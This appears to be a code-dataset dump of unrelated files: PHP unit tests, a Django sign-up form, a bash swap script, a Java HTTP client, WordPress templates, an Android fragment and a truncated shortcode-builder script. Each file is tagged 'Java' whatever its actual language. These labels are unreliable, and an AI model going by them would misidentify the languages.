public function test_nonce_verify_char_valid_nonce_in_past() {
global $ag;
$ag->char = array( 'id' => 1 );
$component = new ArcadiaCommon();
$nonce = $component->nonce_create( $state = -1,
$time = time() - $component->game_nonce_life / 2 );
$result = $component->nonce_verify( $nonce );
$ag->char = FALSE;
$this->assertTrue( $result );
}
/**
* @covers ArcadiaCommon::nonce_create
*/
public function test_nonce_create_no_char() {
$component = new ArcadiaCommon();
$nonce = $component->nonce_create();
$this->assertFalse( $nonce );
}
/**
* @covers ArcadiaCommon::nonce_create
*/
public function test_nonce_create_basic() {
global $ag;
$ag->char = array( 'id' => 1 );
$component = new ArcadiaCommon();
$nonce = $component->nonce_create();
$ag->char = FALSE;
$this->assertNotFalse( $nonce );
}
/**
* @covers ArcadiaCommon::number_with_suffix
*/
public function test_number_with_suffix_zero() {
$component = new ArcadiaCommon();
$this->assertEquals( '0th', $component->number_with_suffix( 0 ) );
}
/**
* @covers ArcadiaCommon::number_with_suffix
*/
public function test_number_with_suffix_one() {
$component = new ArcadiaCommon();
$this->assertEquals( '1st', $component->number_with_suffix( 1 ) );
}
/**
* @covers ArcadiaCommon::number_with_suffix
*/
public function test_number_with_suffix_two() {
$component = new ArcadiaCommon();
$this->assertEquals( '2nd', $component->number_with_suffix( 2 ) );
}
/**
* @covers ArcadiaCommon::number_with_suffix
*/
public function test_number_with_suffix_three() {
$component = new ArcadiaCommon();
$this->assertEquals( '3rd', $component->number_with_suffix( 3 ) );
}
/**
* @covers ArcadiaCommon::number_with_suffix
*/
public function test_number_with_suffix_eleven() {
$component = new ArcadiaCommon();
$this->assertEquals( '11th', $component->number_with_suffix( 11 ) );
}
/**
* @covers ArcadiaCommon::get_if_plural
*/
public function test_get_if_plural_no() {
$component = new ArcadiaCommon();
$this->assertEquals( 'word', $component->get_if_plural( 1, 'word' ) );
}
/**
* @covers ArcadiaCommon::get_if_plural
*/
public function test_get_if_plural_yes() {
$component = new ArcadiaCommon();
$this->assertEquals( 'words', $component->get_if_plural( 2, 'word' ) );
}
/**
* @covers ArcadiaCommon::time_round
*/
public function test_time_round_negative() {
$component = new ArcadiaCommon();
$this->assertEquals( '', $component->time_round( -1 ) );
}
/**
* @covers ArcadiaCommon::time_round
*/
public function test_time_round_zero() {
$component = new ArcadiaCommon();
$this->assertEquals( '0 seconds', $component->time_round( 0 ) );
}
/**
* @covers ArcadiaCommon::time_round
*/
public function test_time_round_one() {
$component = new ArcadiaCommon();
$this->assertEquals( '1 second', $component->time_round( 1 ) );
}
/**
* @covers ArcadiaCommon::time_round
*/
public function test_time_round_minute() {
$component = new ArcadiaCommon();
$this->assertEquals( '1 minute', $component->time_round( 60 ) );
}
/**
* @covers ArcadiaCommon::time_round
*/
public function test_time_round_hour() {
$component = new ArcadiaCommon();
$this->assertEquals( '1 hour', $component->time_round( 60 * 60 ) );
}
/**
* @covers ArcadiaCommon::time_round
*/
public function test_time_round_day() {
$component = new ArcadiaCommon();
$this->assertEquals( '1 day', $component->time_round( 60 * 60 * 24 ) );
}
/**
* @covers ArcadiaCommon::time_expand
*/
public function test_time_expand_zero() {
$component = new ArcadiaCommon();
$this->assertEquals( $component->time_expand( 0 ), '' );
}
/**
* @covers ArcadiaCommon::time_expand
*/
public function test_time_expand_full() {
$component = new ArcadiaCommon();
$this->assertEquals( $component->time_expand( 1209599 ),
'1 week, 6 days, 23 hours, 59 minutes, 59 seconds' );
}
/**
* @covers ArcadiaCommon::time_expand
*/
public function test_time_expand_negative() {
$component = new ArcadiaCommon();
$this->assertEquals( $component->time_expand( -1 ), '' );
}
/**
* @covers ArcadiaCommon::rand_float
*/
public function test_rand_float_in_range() {
$component = new ArcadiaCommon();
$rand_min = 0;
$rand_max = 100;
$result = $component->rand_float( $rand_min, $rand_max );
$this->assertGreaterThanOrEqual( $rand_min, $result );
$this->assertLessThanOrEqual( $rand_max, $result );
}
}
| Java |
Overview
========
This is the test suite, based on the openjdk8u60 test suite, downloaded
from the Mercurial repository at http://hg.openjdk.java.net/jdk8u/jdk8u60
License
-------
The license for the tests is GPL version 2 only. There is no classpath
exception for the tests. For this reason, they are not included in the
redistributable package.
| Java |
{% extends 'base.html' %}
{% block head %}
<link href="../static/css/sign_up.css" rel="stylesheet" >
{% endblock %}
{% block title %} Sign up! {% endblock %}
{% block content %}
<div class="container">
{% if user_errors %}
<div class="alert alert-danger">
{{ user_errors }}
</div>
{% elif profile_errors %}
<div class="alert alert-danger">
{{ profile_errors }}
</div>
{% endif %}
<div class="well">
<form id="signup" class="form-horizontal" method="post" action="/sign_up">
{% csrf_token %}
<legend>Sign Up</legend>
<div class="control-group">
<label class="control-label" for="id_{{ user_form.username.name }}">Username</label>
<div class="controls">
<div class="input-prepend">
<span class="add-on"><i class="icon-user"></i></span>
<input type="text" class="input-xlarge" id="id_{{ user_form.username.name }}" name="{{ user_form.username.name }}" placeholder="Username">
</div>
</div>
</div>
<div class="control-group" for="id_{{ profile_form.display_name.name }}">
<label class="control-label" for="id_{{ profile_form.display_name.name }}">Display Name</label>
<div class="controls">
<div class="input-prepend">
<span class="add-on"><i class="icon-user"></i></span>
<input type="text" class="input-xlarge" id="id_{{ profile_form.display_name.name }}" name="{{ profile_form.display_name.name }}" placeholder="Display Name">
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" for="id_{{ user_form.email.name }}">Email</label>
<div class="controls">
<div class="input-prepend">
<span class="add-on"><i class="icon-envelope"></i></span>
<input type="text" class="input-xlarge" id="id_{{ user_form.email.name }}" name="{{ user_form.email.name }}" placeholder="Email">
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" for="id_{{ user_form.password.name }}">Password</label>
<div class="controls">
<div class="input-prepend">
<span class="add-on"><i class="icon-lock"></i></span>
<input type="Password" id="id_{{ user_form.password.name }}" class="input-xlarge" name="{{ user_form.password.name }}"
placeholder="Password">
</div>
</div>
</div>
<div class="control-group">
<label class="control-label">Confirm Password</label>
<div class="controls">
<div class="input-prepend">
<span class="add-on"><i class="icon-lock"></i></span>
<input type="Password" id="conpasswd" class="input-xlarge" name="conpasswd" placeholder="Re-enter Password">
</div>
</div>
</div>
<div class="control-group">
<label class="control-label"></label>
<div class="controls">
<button type="submit" class="btn btn-success" >Create My Account</button>
</div>
</div>
</form>
<script type="text/javascript">
$(document).ready(function(){
$("#signup").validate({
rules:{
{{ user_form.username.name }}:"required",
{{ profile_form.display_name.name }}:"required",
{{ user_form.email.name }}:{
required:true,
email: true
},
{{ user_form.password.name }}:{
required:true,
minlength: 8
},
conpasswd:{
required:true,
equalTo: "#{{ user_form.password.name }}"
},
errorClass: "help-inline"
});
});
</script>
{% endblock %}
| Java |
#!/bin/bash
if [ $# -ne 2 ];then
echo "Usage: $0 <src_1> <src_2>"
exit 1
fi
mv $1 tmp
mv $2 $1
mv tmp $2
exit 0
| Java |
package tasslegro.base;
import java.io.IOException;
import java.net.URI;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.ParseException;
import org.apache.http.annotation.NotThreadSafe;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.methods.HttpEntityEnclosingRequestBase;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.util.EntityUtils;
public class Http_Delete {
@NotThreadSafe
class HttpDeleteWithBody extends HttpEntityEnclosingRequestBase {
public static final String METHOD_NAME = "DELETE";
public String getMethod() {
return METHOD_NAME;
}
public HttpDeleteWithBody(final String uri) {
super();
setURI(URI.create(uri));
}
public HttpDeleteWithBody(final URI uri) {
super();
setURI(uri);
}
public HttpDeleteWithBody() {
super();
}
}
CloseableHttpClient httpClient = new DefaultHttpClient();
HttpDeleteWithBody delete = null;
HttpResponse response = null;
public Http_Delete(String url, String entity) throws ClientProtocolException, IOException {
this.delete = new HttpDeleteWithBody(url);
this.delete.setHeader("Content-type", "application/json");
StringEntity stringEntity = new StringEntity(entity.toString(), "UTF-8");
this.delete.setEntity(stringEntity);
this.response = this.httpClient.execute(this.delete);
}
public Http_Delete() {
}
public void setURL(String url, String entity) throws ClientProtocolException, IOException {
this.delete = new HttpDeleteWithBody(url);
this.delete.setHeader("Content-type", "application/json");
StringEntity stringEntity = new StringEntity(entity.toString(), "UTF-8");
this.delete.setEntity(stringEntity);
this.response = this.httpClient.execute(this.delete);
}
public int getStatusCode() {
if (response == null) {
return 0;
}
return this.response.getStatusLine().getStatusCode();
}
public String getStrinResponse() throws ParseException, IOException {
if (response == null) {
return null;
}
HttpEntity entity = this.response.getEntity();
return EntityUtils.toString(entity, "UTF-8");
}
}
| Java |
<div class="header-title">
<?php if(is_home()){ ?>
<?php $blog_text = of_get_option('blog_text'); ?>
<?php if($blog_text){?>
<h1><?php echo of_get_option('blog_text'); ?></h1>
<?php } else { ?>
<h1><?php _e('Blog','theme1599');?></h1>
<?php } ?>
<?php } else { ?>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<?php $pagetitle = get_post_custom_values("page-title");?>
<?php $pagedesc = get_post_custom_values("page-desc");?>
<?php if($pagetitle == ""){ ?>
<h1><?php the_title(); ?></h1>
<?php } else { ?>
<h1><?php echo $pagetitle[0]; ?></h1>
<?php } ?>
<?php if($pagedesc != ""){ ?>
<span class="page-desc"><?php echo $pagedesc[0];?></span>
<?php } ?>
<?php endwhile; endif; ?>
<?php wp_reset_query();?>
<?php } ?>
</div> | Java |
package com.fjaviermo.dropdroid;
import java.io.ByteArrayOutputStream;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.Bundle;
import android.support.v4.app.DialogFragment;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
public final class CoverImageDialogFragment extends DialogFragment {
private Bitmap mImage;
private static final String IMAGE="image";
/**
* Create a new instance of CoverImageDialogFragment, providing "image"
* as an argument.
*/
static CoverImageDialogFragment newInstance(Bitmap image) {
CoverImageDialogFragment coverImageDialog = new CoverImageDialogFragment();
Bundle args = new Bundle();
ByteArrayOutputStream stream = new ByteArrayOutputStream();
image.compress(Bitmap.CompressFormat.PNG, 100, stream);
byte[] byteArray = stream.toByteArray();
args.putByteArray(IMAGE, byteArray);
coverImageDialog.setArguments(args);
coverImageDialog.setStyle(DialogFragment.STYLE_NO_TITLE, 0);
return coverImageDialog;
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
byte[] byteArray = getArguments().getByteArray(IMAGE);
mImage = BitmapFactory.decodeByteArray(byteArray, 0, byteArray.length);
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.image_dialog, container, false);
ImageView imgView=(ImageView)view.findViewById(R.id.thumbnail_epub);
imgView.setImageBitmap(mImage);
return view;
}
}
| Java |
(function() {
var preview = true;
var themeShortcuts = {
insert: function(where) {
switch(where) {
case 'st_button_more':
var href = jQuery("#btn_more_src").val();
var what = '[st_button_more href="'+href+'"]';
break;
case 'st_button':
var text = jQuery("#text").val();
var text_color = jQuery("#color").val();
var link = jQuery("#link").val();
var bg = jQuery("#bg").val();
var size = jQuery("#size").val();
var icon = jQuery("#name").val();
var target = jQuery("#target").val();
var border_radius = jQuery("#border_radius").val();
var what = '[st_button text_color="'+text_color+'" link="'+link+'" background="'+bg+'" size="'+size+'" target="'+target+'" icon="'+icon+'" border_radius="'+border_radius+'"]'+text+'[/st_button]';
break;
case 'st_hover_fill_button':
var text = jQuery("#text").val();
var text_color = jQuery("#color").val();
var link = jQuery("#link").val();
var bg = jQuery("#bg").val();
var hover_bg = jQuery("#hover_bg").val();
var size = jQuery("#size").val();
var icon = jQuery("#name").val();
var target = jQuery("#target").val();
var hover_direction = jQuery("#hover_direction").val();
var border_radius = jQuery("#border_radius").val();
var what = '[st_hover_fill_button text_color="'+text_color+'" link="'+link+'" background="'+bg+'" hover_background="'+hover_bg+'" size="'+size+'" target="'+target+'" icon="'+icon+'" border_radius="'+border_radius+'" hover_direction="'+hover_direction+'"]'+text+'[/st_hover_fill_button]';
break;
case 'st_hover_fancy_icon_button':
var text = jQuery("#text").val();
var text_color = jQuery("#color").val();
var link = jQuery("#link").val();
var bg = jQuery("#bg").val();
var size = jQuery("#size").val();
var icon = jQuery("#name").val();
var icon_color = jQuery("#icon_color").val();
var icon_bg = jQuery("#icon_bg").val();
var target = jQuery("#target").val();
var icon_position = jQuery("#icon_pos").val();
var icon_separator = jQuery("#icon_sep").val();
var border_radius = jQuery("#border_radius").val();
var what = '[st_hover_fancy_icon_button text_color="'+text_color+'" link="'+link+'" background="'+bg+'" size="'+size+'" target="'+target+'" icon="'+icon+'" icon_color="'+icon_color+'" icon_background="'+icon_bg+'" icon_position="'+icon_position+'" icon_separator="'+icon_separator+'" border_radius="'+border_radius+'"]'+text+'[/st_hover_fancy_icon_button]';
break;
case 'st_hover_arrows_button':
var text = jQuery("#text").val();
var text_color = jQuery("#color").val();
var link = jQuery("#link").val();
var bg = jQuery("#bg").val();
var size = jQuery("#size").val();
var icon = jQuery("#name").val();
var target = jQuery("#target").val();
var border_radius = jQuery("#border_radius").val();
var arrow_direction = jQuery("#arrow_direction").val();
var what = '[st_hover_arrows_button text_color="'+text_color+'" link="'+link+'" background="'+bg+'" size="'+size+'" target="'+target+'" icon="'+icon+'" border_radius="'+border_radius+'" arrow_direction="'+arrow_direction+'"]'+text+'[/st_hover_arrows_button]';
break;
case 'st_hover_icon_button':
var text = jQuery("#text").val();
var text_color = jQuery("#color").val();
var link = jQuery("#link").val();
var bg = jQuery("#bg").val();
var size = jQuery("#size").val();
var icon = jQuery("#name").val();
var target = jQuery("#target").val();
var border_radius = jQuery("#border_radius").val();
var icon_direction = jQuery("#icon_direction").val();
var what = '[st_hover_icon_button text_color="'+text_color+'" link="'+link+'" background="'+bg+'" size="'+size+'" target="'+target+'" icon="'+icon+'" icon_direction="'+icon_direction+'" border_radius="'+border_radius+'"]'+text+'[/st_hover_icon_button]';
break;
case 'st_hover_bordered_button':
var text = jQuery("#text").val();
var text_color = jQuery("#color").val();
var link = jQuery("#link").val();
var bg = jQuery("#bg").val();
var size = jQuery("#size").val();
var icon = jQuery("#name").val();
var target = jQuery("#target").val();
var border_type = jQuery("#border_type").val();
var border_radius = jQuery("#border_radius").val();
var what = '[st_hover_bordered_button text_color="'+text_color+'" link="'+link+'" background="'+bg+'" size="'+size+'" target="'+target+'" icon="'+icon+'" border_radius="'+border_radius+'" border_type="'+border_type+'"]'+text+'[/st_hover_bordered_button]';
break;
case 'st_unordered':
var list = '<li>First list item</li>';
var listicon = jQuery("#listicon").val();
var what = '[st_unordered listicon="'+listicon+'"]'+list+'[/st_unordered]';
break;
case 'st_box':
var title = jQuery("#box_title").val();
var text = jQuery("#text").val();
var type = jQuery("#box_type").val();
var what = '[st_box title="'+title+'" type="'+type+'"]'+text+'[/st_box]';
break;
case 'st_callout':
var title = jQuery("#callout_title").val();
var text = jQuery("#text").val();
var btn_text = jQuery("#btn_text").val();
var btn_link = jQuery("#btn_link").val();
var text_color = jQuery("#color").val();
var bg = jQuery("#bg").val();
var what = '[st_callout title="'+title+'" button_text="'+btn_text+'" link="'+btn_link+'" text_color="'+text_color+'" background="'+bg+'"]'+text+'[/st_callout]';
break;
case 'st_tooltip':
var text = jQuery("#text").val();
var tooltip_text = jQuery("#tooltip_text").val();
var type = jQuery("#tooltip_type").val();
var what = '[st_tooltip type="'+type+'" tooltip_text="'+tooltip_text+'"]'+text+'[/st_tooltip]';
break;
case 'st_popover':
var content = 'Your text here';
var title = jQuery("#popover_title").val();
var text = jQuery("#popover_text").val();
var type = jQuery("#popover_type").val();
var what = '[st_popover type="'+type+'" popover_title="'+title+'" text="'+text+'"]'+content+'[/st_popover]';
break;
case 'st_modal':
var title = jQuery("#modal_title").val();
var content = jQuery("#modal_text").val();
var modal_link = jQuery("#modal_link").val();
var primary_text = jQuery("#primary").val();
var primary_link = jQuery("#primary_link").val();
var what = '[st_modal modal_link="'+modal_link+'" primary_text="'+primary_text+'" primary_link="'+primary_link+'" modal_title="'+title+'"]'+content+'[/st_modal]';
break;
case 'st_tables':
var colsEl = jQuery("#cols");
var rowsEl = jQuery("#rows");
var cols = new Array();
var rows = new Array();
for(var i=0; i<jQuery(rowsEl).val(); i++) {
for(var j=0; j<jQuery(colsEl).val(); j++) {
if(i == 0) {
cols.push(jQuery('#input_'+i+''+j).val());
} else if (i == 1) {
rows.push(jQuery('#input_'+i+''+j).val());
j = jQuery(colsEl).val();
} else {
rows.push(jQuery('#input_'+i+''+j).val());
}
}
}
var what = '[st_table cols="'+cols.join('||')+'" data="'+rows.join('||')+'"]';
break;
case 'st_tabs':
var tabs = '';
var boxes = jQuery(".box");
boxes.splice(0,1);
jQuery(boxes).each(function() {
var title = jQuery(this).find('input').val();
var text = jQuery(this).find('textarea').val();
tabs += '[st_tab title="'+title+'"]'+text+'[/st_tab]';
});
var what = '[st_tabs]'+tabs+'[/st_tabs]';
break;
case 'st_toggle':
var accs = '';
var boxes = jQuery(".box");
jQuery(boxes).each(function() {
var title = jQuery(this).find('input').val();
var text = jQuery(this).find('textarea').val();
var state = jQuery(this).find('select').val();
accs += '[st_panel title="'+title+'" state="'+state+'"]'+text+'[/st_panel]<br />';
});
var what = '[st_toggle]<br />'+accs+'[/st_toggle]';
break;
case 'st_accordion':
var accs = '';
var boxes = jQuery(".box");
jQuery(boxes).each(function() {
var title = jQuery(this).find('input').val();
var text = jQuery(this).find('textarea').val();
var state = jQuery(this).find('select').val();
accs += '[st_acc_panel title="'+title+'" state="'+state+'"]'+text+'[/st_acc_panel]<br />';
});
var what = '[st_accordion]<br />'+accs+'[/st_accordion]';
break;
case 'st_progress_bar':
var width = jQuery("#width").val();
var style = jQuery("#style").val();
var striped = jQuery("#striped").val();
var active = jQuery("#active").val();
var what = '[st_progress_bar width="'+width+'" style="'+style+'" striped="'+striped+'" active="'+active+'"]';
break;
case 'st_related_posts':
var limit = jQuery("#limit").val();
var what = '[st_related_posts limit="'+limit+'"]';
break;
case 'st_highlight':
var background_color = jQuery("#background_color").val();
var text_color = jQuery("#text_color").val();
var what = '[st_highlight background_color="'+background_color+'" text_color="'+text_color+'"]Highlighted text[/st_highlight]';
break;
case 'st_loginout':
var text_col = jQuery("#color").val();
var bg = jQuery("#bg").val();
var size = jQuery("#size").val();
var type = jQuery("#login_type").val();
var target = jQuery("#target").val();
var login_msg = jQuery("#login_msg").val();
var logout_msg = jQuery("#logout_msg").val();
var what = '[st_loginout text_col="'+text_col+'" background="'+bg+'" size="'+size+'" login_msg="'+login_msg+'" logout_msg="'+logout_msg+'"]';
break;
case 'st_quote':
var author = jQuery("#author-name").val();
var content = jQuery("#text").val();
var what = '[st_quote author="'+author+'"]' +content+ '[/st_quote]';
break;
case 'st_abbreviation':
var text = jQuery("#text").val();
var abbreviation = jQuery("#abbreviation").val();
var what = '[st_abbr title="'+abbreviation+'"]' + text + '[/st_abbr]';
break;
case 'st_twitter':
var style = jQuery("#style").val();
var url = jQuery("#url").val();
var sourceVal = jQuery("#source").val();
var related = jQuery("#related").val();
var text = jQuery("#text").val();
var lang = jQuery("#lang").val();
var what = '[st_twitter style="'+style+'" url="'+url+'" source="'+sourceVal+'" related="'+related+'" text="'+text+'" lang="'+lang+'"]';
break;
case 'st_digg':
var style = jQuery("#style").val();
var link = jQuery("#link").val();
var title = jQuery("#digg_title").val();
var what = '[st_digg style="'+style+'" title="'+title+'" link="'+link+'"]';
break;
case 'st_fblike':
var style = jQuery("#style").val();
var url = jQuery("#url").val();
var show_faces = jQuery("#show_faces").val();
var width = jQuery("#width").val();
var verb = jQuery("#verb_to_display").val();
var font = jQuery("#font").val();
var what = '[st_fblike url="'+url+'" style="'+style+'" showfaces="'+show_faces+'" width="'+width+'" verb="'+verb+'" font="'+font+'"]';
break;
case 'st_fbshare':
var url = jQuery("#link").val();
var what = '[st_fbshare url="'+url+'"]';
break;
case 'st_lishare':
var style = jQuery("#style").val();
var url = jQuery("#link").val();
var sourceVal = jQuery("#source").val();
var related = jQuery("#related").val();
var text = jQuery("#text").val();
var lang = jQuery("#lang").val();
var what = '[st_linkedin_share url="'+url+'" style="'+style+'"]';
break;
case 'st_gplus':
var style = jQuery("#style").val();
var size = jQuery("#size").val();
var what = '[st_gplus style="'+style+'" size="'+size+'"]';
break;
case 'st_pinterest_pin':
var style = jQuery("#style").val();
var what = '[st_pinterest_pin style="'+style+'"]';
break;
case 'st_tumblr':
var style = jQuery("#style").val();
var what = '[st_tumblr style="'+style+'"]';
break;
case 'st_pricingTable':
var content = '';
var columns = jQuery("#columns").val();
var highlighted = jQuery("#highlighted").val();
for(x=0;x<columns;x++) {
var highlight = ((x+1) == highlighted) ? " highlight='true'" : '';
content += "\n[st_pricing_column title='Column " + (x+1) + "'" + highlight + "]\n[st_price_info cost='$14.99/month'][/st_price_info]<ul><li>Item description and details...</li>\n<li>Item description and details...</li>\n<li>Some more info...</li>\n<li>[st_button text_color='#444444' link='#' background='#E6E6E6' size='small']Button text[/st_button]</li></ul>\n[/st_pricing_column]\n";
}
var what = "[st_pricing_table columns='"+columns+"']\n" + content + "\n[/st_pricing_table]";
break;
case 'st_gmap':
var additional = '';
additional = (jQuery("#latitude").val() != '') ? additional + ' latitude="'+ jQuery("#latitude").val() +'"' : additional;
additional = (jQuery("#longitute").val() != '') ? additional + ' longitute="'+ jQuery("#longitute").val() +'"' : additional;
additional = (jQuery("#html").val() != '') ? additional + ' html="'+ jQuery("#html").val() +'"' : additional;
additional = (jQuery("#zoom").val() != '') ? additional + ' zoom="'+ jQuery("#zoom").val() +'"' : additional;
additional = (jQuery("#gheight").val() != '') ? additional + ' height="'+ jQuery("#gheight").val() +'"' : additional;
additional = (jQuery("#gwidth").val() != '') ? additional + ' width="'+ jQuery("#gwidth").val() +'"' : additional;
additional = (jQuery("#maptype").val() != '') ? additional + ' maptype="'+ jQuery("#maptype").val() +'"' : additional;
additional = (jQuery("#color").val() != '') ? additional + ' color="'+ jQuery("#color").val() +'"' : additional;
var what = '[st_gmap '+additional+']';
break;
case 'st_trends':
var width = jQuery("#width").val();
var height = jQuery("#height").val();
var query = jQuery("#query").val();
var geo = jQuery("#geo").val();
var what = '[st_trends width="'+width+'" height="'+height+'" query="'+query+'" geo="'+geo+'"]';
break;
case 'st_gchart':
var data = jQuery("#data").val();
var title = jQuery("#g_title").val();
var width = jQuery("#width").val();
var height = jQuery("#height").val();
var series_type = jQuery("#series_type").val();
var vAxis = jQuery("#vAxis").val();
var hAxis = jQuery("#hAxis").val();
var type = jQuery("#gchart_type").val();
var red_from = jQuery("#red_from").val();
var red_to = jQuery("#red_to").val();
var yellow_from = jQuery("#yellow_from").val();
var yellow_to = jQuery("#yellow_to").val();
var gauge_minor_ticks = jQuery("#gauge_minor_ticks").val();
var what = '[st_chart title="'+title+'" data="'+data+'" width="'+width+'" height="'+height+'" type="'+type+'" series_type="'+series_type+'" vAxis="'+vAxis+'" hAxis="'+hAxis+'" red_from="'+red_from+'" red_to="'+red_to+'" yellow_from="'+yellow_from+'" yellow_to="'+yellow_to+'" gauge_minor_ticks="'+gauge_minor_ticks+'"]';
break;
case 'st_chart_pie':
var data = jQuery("#data").val();
var title = jQuery("#pie_title").val();
var what = '[st_chart_pie title="'+title+'" data="'+data+'"]';
break;
case 'st_chart_bar':
var data = jQuery("#data").val();
var title = jQuery("#bar_title").val();
var vaxis = jQuery("#vaxis_title").val();
var haxis = jQuery("#haxis_title").val();
var what = '[st_chart_bar title="'+title+'" data="'+data+'" vaxis="'+vaxis+'" haxis="'+haxis+'"]';
break;
case 'st_chart_area':
var data = jQuery("#data").val();
var title = jQuery("#area_title").val();
var vaxis = jQuery("#vaxis_title").val();
var haxis = jQuery("#haxis_title").val();
var what = '[st_chart_area title="'+title+'" data="'+data+'" vaxis="'+vaxis+'" haxis="'+haxis+'"]';
break;
case 'st_chart_geo':
var data = jQuery("#data").val();
var title = jQuery("#geo_title").val();
var primary = jQuery("#primary").val();
var secondary = jQuery("#secondary").val();
var what = '[st_chart_geo title="'+title+'" data="'+data+'" primary="'+primary+'" secondary="'+secondary+'"]';
break;
case 'st_chart_combo':
var data = jQuery("#data").val();
var title = jQuery("#combo_title").val();
var vaxis = jQuery("#vaxis_title").val();
var haxis = jQuery("#haxis_title").val();
var series = jQuery("#series").val();
var what = '[st_chart_combo title="'+title+'" data="'+data+'" vaxis="'+vaxis+'" haxis="'+haxis+'" series="'+series+'"]';
break;
case 'st_chart_org':
var data = jQuery("#data").val();
var what = '[st_chart_org data="'+data+'"]';
break;
case 'st_chart_bubble':
var data = jQuery("#data").val();
var title = jQuery("#bubble_title").val();
var primary = jQuery("#primary").val();
var secondary = jQuery("#secondary").val();
var what = '[st_chart_bubble title="'+title+'" data="'+data+'" primary="'+primary+'" secondary="'+secondary+'"]';
break;
case 'st_gdocs':
var url = jQuery("#url").val();
var width = jQuery("#width").val();
var height = jQuery("#height").val();
var what = "[st_gdocs width='"+width+"' height='"+height+"' url='"+ url +"']";
break;
case 'st_children':
var parent = jQuery("#page").val();
var what = "[st_children of='"+ parent +"']";
break;
case 'st_contact_form_dark':
var email_d = jQuery("#email_d").val();
var what = "[st_contact_form_dark email='"+ email_d +"']";
break;
case 'st_contact_form_light':
var email_l = jQuery("#email_l").val();
var what = "[st_contact_form_light email='"+ email_l +"']";
break;
case 'st_fancyboxImages':
var href = jQuery("#href").val();
var thumb = jQuery("#thumb").val();
var thumb_width = jQuery("#thumb_width").val();
var group = jQuery("#group").val();
var title = jQuery("#title_lb").val();
var what = "[st_fancyboxImages href='"+ href +"' thumb='"+thumb+"' thumb_width='"+thumb_width+"' group='"+group+"' title='"+title+"']";
break;
case 'st_fancyboxInline':
var title = jQuery("#in_title").val();
var content_title = jQuery("#content_title").val();
var content = jQuery("#in_content").val();
var what = "[st_fancyboxInline title='"+title+"' content_title='"+content_title+"' content='"+content+"']";
break;
case 'st_fancyboxIframe':
var title = jQuery("#iframe_title").val();
var href = jQuery("#iframe_href").val();
var what = "[st_fancyboxIframe title='"+title+"' href='"+ href +"']";
break;
case 'st_fancyboxPage':
var title = jQuery("#ipage_title").val();
var href = jQuery("#ipage").val();
var what = "[st_fancyboxPage title='"+title+"' href='"+ href +"']";
break;
case 'st_fancyboxSwf':
var title = jQuery("#swf_title").val();
var href = jQuery("#swf").val();
var what = "[st_fancyboxSwf title='"+title+"' href='"+href+"']";
break;
case 'st_video':
var title = jQuery("#video_title").val();
var display = jQuery("#display").val();
var width = jQuery("#width").val();
var height = jQuery("#height").val();
var type = jQuery("#video_type").val();
if (type == 'flash') {
var src = jQuery("#src").val();
var what = "[st_video title='"+title+"' type='"+ type +"' width='"+width+"' height='"+height+"' src='"+src+"']";
} else if (type == 'html5') {
var poster = jQuery("#poster").val();
var mp4 = jQuery("#mp4").val();
var webm = jQuery("#webm").val();
var ogg = jQuery("#ogg").val();
var what = "[st_video title='"+title+"' type='"+ type +"' width='"+width+"' height='"+height+"' poster='"+poster+"' mp4='"+mp4+"' webm='"+webm+"' ogg='"+ogg+"']";
} else {
var src = jQuery("#clip_id").val();
var what = "[st_video title='"+title+"' type='"+ type +"' width='"+width+"' height='"+height+"' src='"+src+"']";
}
var group = jQuery("#group").val();
var title = jQuery("#title_lb").val();
break;
case 'st_audio':
var title = jQuery("#audio_title").val();
var src = jQuery("#audio_src").val();
var what = "[st_audio title='"+title+"' src='"+src+"']";
break;
case 'st_soundcloud':
var src = jQuery("#sound_src").val();
var color = jQuery("#sound_color").val();
var what = "[st_soundcloud color='"+color+"' src='"+src+"']";
break;
case 'st_mixcloud':
var src = jQuery("#mix_src").val();
var width = jQuery("#mix_width").val();
var height = jQuery("#mix_height").val();
var what = "[st_mixcloud width='"+width+"' height='"+height+"' src='"+src+"']";
break;
case 'st_section_image':
var image_id = jQuery("#imageid").val();
var bg_color = jQuery("#bg_color").val();
var type = jQuery("#section_image_type").val();
var bg_position = jQuery("#bg_position").val();
var bg_size = jQuery("#bg_size").val();
var repeat = jQuery("#repeat").val();
var padding = jQuery("#img_padding").val();
var what = "[st_section_image image_id='"+image_id+"' bg_color='"+bg_color+"' type='"+type+"' position='"+bg_position+"' bg_size='"+bg_size+"' repeat='"+repeat+"' padding='"+padding+"']Section content goes here[/st_section_image]";
break;
case 'st_section_color':
var color = jQuery("#color").val();
var padding = jQuery("#col_padding").val();
var what = "[st_section_color color='"+color+"' padding='"+padding+"']Section content goes here[/st_section_color]";
break;
case 'st_text_color':
var color = jQuery("#color").val();
var what = "[st_text_color color='"+color+"']Text goes here[/st_text_color]";
break;
case 'st_posts_carousel':
var posts = jQuery("#posts").val();
var number = jQuery("#number").val();
var cat = jQuery("#cat").val();
var display_title = jQuery("#display_title").val();
var what = "[st_posts_carousel posts='"+posts+"' number='"+number+"' cat='"+cat+"' display_title='"+display_title+"']";
break;
case 'st_swiper':
var posts = jQuery("#swiper_posts").val();
var number = jQuery("#swiper_number").val();
var category = jQuery("#category").val();
var display_title = jQuery("#display_title").val();
var what = "[st_swiper posts='"+posts+"' number='"+number+"' category='"+category+"' display_title='"+display_title+"']";
break;
case 'st_animated':
var type = jQuery("#animated_type").val();
var trigger = jQuery("#trigger").val();
var precent = jQuery("#precent").val();
var what = "[st_animated type='"+type+"' trigger='"+trigger+"' precent='"+precent+"']Animated element goes here[/st_animated]";
break;
case 'st_svg_drawing':
var type = jQuery("#drawing_type").val();
var image_id = jQuery("#image_id").val();
var color = jQuery("#drawing_color").val();
var what = "[st_svg_drawing type='"+type+"' image_id='"+image_id+"' color='"+color+"']";
break;
case 'st_animated_boxes':
var posts = jQuery("#posts").val();
var what = "[st_animated_boxes posts='"+posts+"']";
break;
